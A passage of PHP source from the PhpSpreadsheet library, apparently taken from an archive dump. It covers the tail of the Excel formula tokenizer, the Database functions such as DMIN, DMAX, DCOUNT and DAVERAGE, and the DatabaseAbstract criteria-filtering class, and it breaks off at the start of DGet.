// No attempt is made to verify formulas; assumes formulas are derived from Excel, where // they can only exist if valid; stack overflows/underflows sunk as nulls without exceptions. // Check if the formula has a valid starting = $formulaLength = strlen($this->formula); if ($formulaLength < 2 || $this->formula[0] != '=') { return; } // Helper variables $tokens1 = $tokens2 = $stack = []; $inString = $inPath = $inRange = $inError = false; $nextToken = null; //$token = $previousToken = null; $index = 1; $value = ''; $ERRORS = ['#NULL!', '#DIV/0!', '#VALUE!', '#REF!', '#NAME?', '#NUM!', '#N/A']; $COMPARATORS_MULTI = ['>=', '<=', '<>']; while ($index < $formulaLength) { // state-dependent character evaluation (order is important) // double-quoted strings // embeds are doubled // end marks token if ($inString) { if ($this->formula[$index] == self::QUOTE_DOUBLE) { if ((($index + 2) <= $formulaLength) && ($this->formula[$index + 1] == self::QUOTE_DOUBLE)) { $value .= self::QUOTE_DOUBLE; ++$index; } else { $inString = false; $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND, FormulaToken::TOKEN_SUBTYPE_TEXT); $value = ''; } } else { $value .= $this->formula[$index]; } ++$index; continue; } // single-quoted strings (links) // embeds are double // end does not mark a token if ($inPath) { if ($this->formula[$index] == self::QUOTE_SINGLE) { if ((($index + 2) <= $formulaLength) && ($this->formula[$index + 1] == self::QUOTE_SINGLE)) { $value .= self::QUOTE_SINGLE; ++$index; } else { $inPath = false; } } else { $value .= $this->formula[$index]; } ++$index; continue; } // bracked strings (R1C1 range index or linked workbook name) // no embeds (changed to "()" by Excel) // end does not mark a token if ($inRange) { if ($this->formula[$index] == self::BRACKET_CLOSE) { $inRange = false; } $value .= $this->formula[$index]; ++$index; continue; } // error values // end marks a token, determined from absolute list of values if ($inError) { $value .= $this->formula[$index]; ++$index; if (in_array($value, $ERRORS)) { $inError = false; $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND, FormulaToken::TOKEN_SUBTYPE_ERROR); $value = ''; } continue; } // scientific notation check if (str_contains(self::OPERATORS_SN, $this->formula[$index])) { if (strlen($value) > 1) { if (preg_match('/^[1-9]{1}(\\.\\d+)?E{1}$/', $this->formula[$index]) != 0) { $value .= $this->formula[$index]; ++$index; continue; } } } // independent character evaluation (order not important) // establish state-dependent character evaluations if ($this->formula[$index] == self::QUOTE_DOUBLE) { if ($value !== '') { // unexpected $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ''; } $inString = true; ++$index; continue; } if ($this->formula[$index] == self::QUOTE_SINGLE) { if ($value !== '') { // unexpected $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ''; } $inPath = true; ++$index; continue; } if ($this->formula[$index] == self::BRACKET_OPEN) { $inRange = true; $value .= self::BRACKET_OPEN; ++$index; continue; } if ($this->formula[$index] == self::ERROR_START) { if ($value !== '') { // unexpected $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ''; } $inError = true; $value .= self::ERROR_START; ++$index; continue; } // mark start and end of arrays and array rows if ($this->formula[$index] == self::BRACE_OPEN) { if ($value !== '') { // unexpected $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_UNKNOWN); $value = ''; } $tmp = new FormulaToken('ARRAY', FormulaToken::TOKEN_TYPE_FUNCTION, FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; $tmp = new FormulaToken('ARRAYROW', FormulaToken::TOKEN_TYPE_FUNCTION, FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; ++$index; continue; } if ($this->formula[$index] == self::SEMICOLON) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } /** @var FormulaToken $tmp */ $tmp = array_pop($stack); $tmp->setValue(''); $tmp->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; $tmp = new FormulaToken(',', FormulaToken::TOKEN_TYPE_ARGUMENT); $tokens1[] = $tmp; $tmp = new FormulaToken('ARRAYROW', FormulaToken::TOKEN_TYPE_FUNCTION, FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; ++$index; continue; } if ($this->formula[$index] == self::BRACE_CLOSE) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } /** @var FormulaToken $tmp */ $tmp = array_pop($stack); $tmp->setValue(''); $tmp->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; /** @var FormulaToken $tmp */ $tmp = array_pop($stack); $tmp->setValue(''); $tmp->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; ++$index; continue; } // trim white-space if ($this->formula[$index] == self::WHITESPACE) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } $tokens1[] = new FormulaToken('', FormulaToken::TOKEN_TYPE_WHITESPACE); ++$index; while (($this->formula[$index] == self::WHITESPACE) && ($index < $formulaLength)) { ++$index; } continue; } // multi-character comparators if (($index + 2) <= $formulaLength) { if (in_array(substr($this->formula, $index, 2), $COMPARATORS_MULTI)) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } $tokens1[] = new FormulaToken(substr($this->formula, $index, 2), FormulaToken::TOKEN_TYPE_OPERATORINFIX, FormulaToken::TOKEN_SUBTYPE_LOGICAL); $index += 2; continue; } } // standard infix operators if (str_contains(self::OPERATORS_INFIX, $this->formula[$index])) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } $tokens1[] = new FormulaToken($this->formula[$index], FormulaToken::TOKEN_TYPE_OPERATORINFIX); ++$index; continue; } // standard postfix operators (only one) if (str_contains(self::OPERATORS_POSTFIX, $this->formula[$index])) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } $tokens1[] = new FormulaToken($this->formula[$index], FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX); ++$index; continue; } // start subexpression or function if ($this->formula[$index] == self::PAREN_OPEN) { if ($value !== '') { $tmp = new FormulaToken($value, FormulaToken::TOKEN_TYPE_FUNCTION, FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; $value = ''; } else { $tmp = new FormulaToken('', FormulaToken::TOKEN_TYPE_SUBEXPRESSION, FormulaToken::TOKEN_SUBTYPE_START); $tokens1[] = $tmp; $stack[] = clone $tmp; } ++$index; continue; } // function, subexpression, or array parameters, or operand unions if ($this->formula[$index] == self::COMMA) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } /** @var FormulaToken $tmp */ $tmp = array_pop($stack); $tmp->setValue(''); $tmp->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_STOP); $stack[] = $tmp; if ($tmp->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) { $tokens1[] = new FormulaToken(',', FormulaToken::TOKEN_TYPE_OPERATORINFIX, FormulaToken::TOKEN_SUBTYPE_UNION); } else { $tokens1[] = new FormulaToken(',', FormulaToken::TOKEN_TYPE_ARGUMENT); } ++$index; continue; } // stop subexpression if ($this->formula[$index] == self::PAREN_CLOSE) { if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); $value = ''; } /** @var FormulaToken $tmp */ $tmp = array_pop($stack); $tmp->setValue(''); $tmp->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_STOP); $tokens1[] = $tmp; ++$index; continue; } // token accumulation $value .= $this->formula[$index]; ++$index; } // dump remaining accumulation if ($value !== '') { $tokens1[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERAND); } // move tokenList to new set, excluding unnecessary white-space tokens and converting necessary ones to intersections $tokenCount = count($tokens1); for ($i = 0; $i < $tokenCount; ++$i) { $token = $tokens1[$i]; if (isset($tokens1[$i - 1])) { $previousToken = $tokens1[$i - 1]; } else { $previousToken = null; } if (isset($tokens1[$i + 1])) { $nextToken = $tokens1[$i + 1]; } else { $nextToken = null; } if ($token->getTokenType() != FormulaToken::TOKEN_TYPE_WHITESPACE) { $tokens2[] = $token; continue; } if ($previousToken === null) { continue; } if ( !( (($previousToken->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken->getTokenType() == FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken->getTokenType() == FormulaToken::TOKEN_TYPE_OPERAND) ) ) { continue; } if ($nextToken === null) { continue; } if ( !( (($nextToken->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) && ($nextToken->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_START)) || (($nextToken->getTokenType() == FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($nextToken->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_START)) || ($nextToken->getTokenType() == FormulaToken::TOKEN_TYPE_OPERAND) ) ) { continue; } $tokens2[] = new FormulaToken($value, FormulaToken::TOKEN_TYPE_OPERATORINFIX, FormulaToken::TOKEN_SUBTYPE_INTERSECTION); } // move tokens to final list, switching infix "-" operators to prefix when appropriate, switching infix "+" operators // to noop when appropriate, identifying operand and infix-operator subtypes, and pulling "@" from function names $this->tokens = []; $tokenCount = count($tokens2); for ($i = 0; $i < $tokenCount; ++$i) { $token = $tokens2[$i]; if (isset($tokens2[$i - 1])) { $previousToken = $tokens2[$i - 1]; } else { $previousToken = null; } if ($token->getTokenType() == FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getValue() == '-') { if ($i == 0) { $token->setTokenType(FormulaToken::TOKEN_TYPE_OPERATORPREFIX); } elseif ( (($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken?->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken?->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX) || ($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_OPERAND) ) { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_MATH); } else { $token->setTokenType(FormulaToken::TOKEN_TYPE_OPERATORPREFIX); } $this->tokens[] = $token; continue; } if ($token->getTokenType() == FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getValue() == '+') { if ($i == 0) { continue; } elseif ( (($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) && ($previousToken?->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || (($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_SUBEXPRESSION) && ($previousToken?->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_STOP)) || ($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_OPERATORPOSTFIX) || ($previousToken?->getTokenType() == FormulaToken::TOKEN_TYPE_OPERAND) ) { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_MATH); } else { continue; } $this->tokens[] = $token; continue; } if ( $token->getTokenType() == FormulaToken::TOKEN_TYPE_OPERATORINFIX && $token->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_NOTHING ) { if (str_contains('<>=', substr($token->getValue(), 0, 1))) { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_LOGICAL); } elseif ($token->getValue() == '&') { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_CONCATENATION); } else { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_MATH); } $this->tokens[] = $token; continue; } if ( $token->getTokenType() == FormulaToken::TOKEN_TYPE_OPERAND && $token->getTokenSubType() == FormulaToken::TOKEN_SUBTYPE_NOTHING ) { if (!is_numeric($token->getValue())) { if (strtoupper($token->getValue()) == 'TRUE' || strtoupper($token->getValue()) == 'FALSE') { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_LOGICAL); } else { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_RANGE); } } else { $token->setTokenSubType(FormulaToken::TOKEN_SUBTYPE_NUMBER); } $this->tokens[] = $token; continue; } if ($token->getTokenType() == FormulaToken::TOKEN_TYPE_FUNCTION) { if ($token->getValue() !== '') { if (str_starts_with($token->getValue(), '@')) { $token->setValue(substr($token->getValue(), 1)); } } } $this->tokens[] = $token; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DMin.php000064400000004356151676714400022561 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Minimum; class DMin extends DatabaseAbstract { /** * DMIN. * * Returns the smallest number in a column of a list or database that matches conditions you that * specify. * * Excel Function: * DMIN(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria, bool $returnError = true): float|string|null { $field = self::fieldExtract($database, $field); if ($field === null) { return $returnError ? ExcelError::VALUE() : null; } return Minimum::min( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DVar.php000064400000004457151676714400022570 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Variances; class DVar extends DatabaseAbstract { /** * DVAR. * * Estimates the variance of a population based on a sample by using the numbers in a column * of a list or database that match conditions that you specify. * * Excel Function: * DVAR(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * * @return float|string (string if result is an error) */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): string|float { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return Variances::VAR( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DProduct.php000064400000004273151676714400023454 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; class DProduct extends DatabaseAbstract { /** * DPRODUCT. * * Multiplies the values in a column of a list or database that match conditions that you specify. * * Excel Function: * DPRODUCT(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): string|float { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return MathTrig\Operations::product( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DVarP.php000064400000004501151676714400022676 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Variances; class DVarP extends DatabaseAbstract { /** * DVARP. * * Calculates the variance of a population based on the entire population by using the numbers * in a column of a list or database that match conditions that you specify. * * Excel Function: * DVARP(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * * @return float|string (string if result is an error) */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): string|float { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return Variances::VARP( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DCountA.php000064400000004270151676714400023222 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Counts; class DCountA extends DatabaseAbstract { /** * DCOUNTA. * * Counts the nonblank cells in a column of a list or database that match conditions that you specify. * * Excel Function: * DCOUNTA(database,[field],criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): string|int { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return Counts::COUNTA( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DStDevP.php000064400000004443151676714400023200 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\StandardDeviations; class DStDevP extends DatabaseAbstract { /** * DSTDEVP. * * Calculates the standard deviation of a population based on the entire population by using the * numbers in a column of a list or database that match conditions that you specify. * * Excel Function: * DSTDEVP(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): float|string { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return StandardDeviations::STDEVP( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DStDev.php000064400000004421151676714400023054 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\StandardDeviations; class DStDev extends DatabaseAbstract { /** * DSTDEV. * * Estimates the standard deviation of a population based on a sample by using the numbers in a * column of a list or database that match conditions that you specify. * * Excel Function: * DSTDEV(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): float|string { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return StandardDeviations::STDEV( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DMax.php000064400000004355151676714400022562 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Maximum; class DMax extends DatabaseAbstract { /** * DMAX. * * Returns the largest number in a column of a list or database that matches conditions you that * specify. * * Excel Function: * DMAX(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria, bool $returnError = true): null|float|string { $field = self::fieldExtract($database, $field); if ($field === null) { return $returnError ? ExcelError::VALUE() : null; } return Maximum::max( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DCount.php000064400000004361151676714400023122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Counts; class DCount extends DatabaseAbstract { /** * DCOUNT. * * Counts the cells that contain numbers in a column of a list or database that match conditions * that you specify. * * Excel Function: * DCOUNT(database,[field],criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria, bool $returnError = true): string|int { $field = self::fieldExtract($database, $field); if ($returnError && $field === null) { return ExcelError::VALUE(); } return Counts::COUNT( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DAverage.php000064400000004103151676714400023376 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Averages; class DAverage extends DatabaseAbstract { /** * DAVERAGE. * * Averages the values in a column of a list or database that match conditions you specify. * * Excel Function: * DAVERAGE(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): string|int|float { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } return Averages::average( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DatabaseAbstract.php000064400000016566151676714400025130 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Internal\WildcardMatch; abstract class DatabaseAbstract { abstract public static function evaluate(array $database, array|null|int|string $field, array $criteria): null|float|int|string; /** * fieldExtract. * * Extracts the column ID to use for the data field. * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param mixed $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. */ protected static function fieldExtract(array $database, mixed $field): ?int { $field = strtoupper(Functions::flattenSingleValue($field) ?? ''); if ($field === '') { return null; } $fieldNames = array_map('strtoupper', array_shift($database)); if (is_numeric($field)) { $field = (int) $field - 1; if ($field < 0 || $field >= count($fieldNames)) { return null; } return $field; } $key = array_search($field, array_values($fieldNames), true); return ($key !== false) ? (int) $key : null; } /** * filter. * * Parses the selection criteria, extracts the database rows that match those criteria, and * returns that subset of rows. * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * * @return mixed[] */ protected static function filter(array $database, array $criteria): array { $fieldNames = array_shift($database); $criteriaNames = array_shift($criteria); // Convert the criteria into a set of AND/OR conditions with [:placeholders] $query = self::buildQuery($criteriaNames, $criteria); // Loop through each row of the database return self::executeQuery($database, $query, $criteriaNames, $fieldNames); } protected static function getFilteredColumn(array $database, ?int $field, array $criteria): array { // reduce the database to a set of rows that match all the criteria $database = self::filter($database, $criteria); $defaultReturnColumnValue = ($field === null) ? 1 : null; // extract an array of values for the requested column $columnData = []; foreach ($database as $rowKey => $row) { $keys = array_keys($row); $key = $keys[$field] ?? null; $columnKey = $key ?? 'A'; $columnData[$rowKey][$columnKey] = $row[$key] ?? $defaultReturnColumnValue; } return $columnData; } private static function buildQuery(array $criteriaNames, array $criteria): string { $baseQuery = []; foreach ($criteria as $key => $criterion) { foreach ($criterion as $field => $value) { $criterionName = $criteriaNames[$field]; if ($value !== null) { $condition = self::buildCondition($value, $criterionName); $baseQuery[$key][] = $condition; } } } $rowQuery = array_map( fn ($rowValue): string => (count($rowValue) > 1) ? 'AND(' . implode(',', $rowValue) . ')' : ($rowValue[0] ?? ''), $baseQuery ); return (count($rowQuery) > 1) ? 'OR(' . implode(',', $rowQuery) . ')' : ($rowQuery[0] ?? ''); } private static function buildCondition(mixed $criterion, string $criterionName): string { $ifCondition = Functions::ifCondition($criterion); // Check for wildcard characters used in the condition $result = preg_match('/(?<operator>[^"]*)(?<operand>".*[*?].*")/ui', $ifCondition, $matches); if ($result !== 1) { return "[:{$criterionName}]{$ifCondition}"; } $trueFalse = ($matches['operator'] !== '<>'); $wildcard = WildcardMatch::wildcard($matches['operand']); $condition = "WILDCARDMATCH([:{$criterionName}],{$wildcard})"; if ($trueFalse === false) { $condition = "NOT({$condition})"; } return $condition; } private static function executeQuery(array $database, string $query, array $criteria, array $fields): array { foreach ($database as $dataRow => $dataValues) { // Substitute actual values from the database row for our [:placeholders] $conditions = $query; foreach ($criteria as $criterion) { $conditions = self::processCondition($criterion, $fields, $dataValues, $conditions); } // evaluate the criteria against the row data $result = Calculation::getInstance()->_calculateFormulaValue('=' . $conditions); // If the row failed to meet the criteria, remove it from the database if ($result !== true) { unset($database[$dataRow]); } } return $database; } private static function processCondition(string $criterion, array $fields, array $dataValues, string $conditions): string { $key = array_search($criterion, $fields, true); $dataValue = 'NULL'; if (is_bool($dataValues[$key])) { $dataValue = ($dataValues[$key]) ? 'TRUE' : 'FALSE'; } elseif ($dataValues[$key] !== null) { $dataValue = $dataValues[$key]; // escape quotes if we have a string containing quotes if (is_string($dataValue) && str_contains($dataValue, '"')) { $dataValue = str_replace('"', '""', $dataValue); } $dataValue = (is_string($dataValue)) ? Calculation::wrapResult(strtoupper($dataValue)) : $dataValue; } return str_replace('[:' . $criterion . ']', $dataValue, $conditions); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DGet.php000064400000004404151676714400022547 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class DGet extends DatabaseAbstract { /** * DGET. * * Extracts a single value from a column of a list or database that matches conditions that you 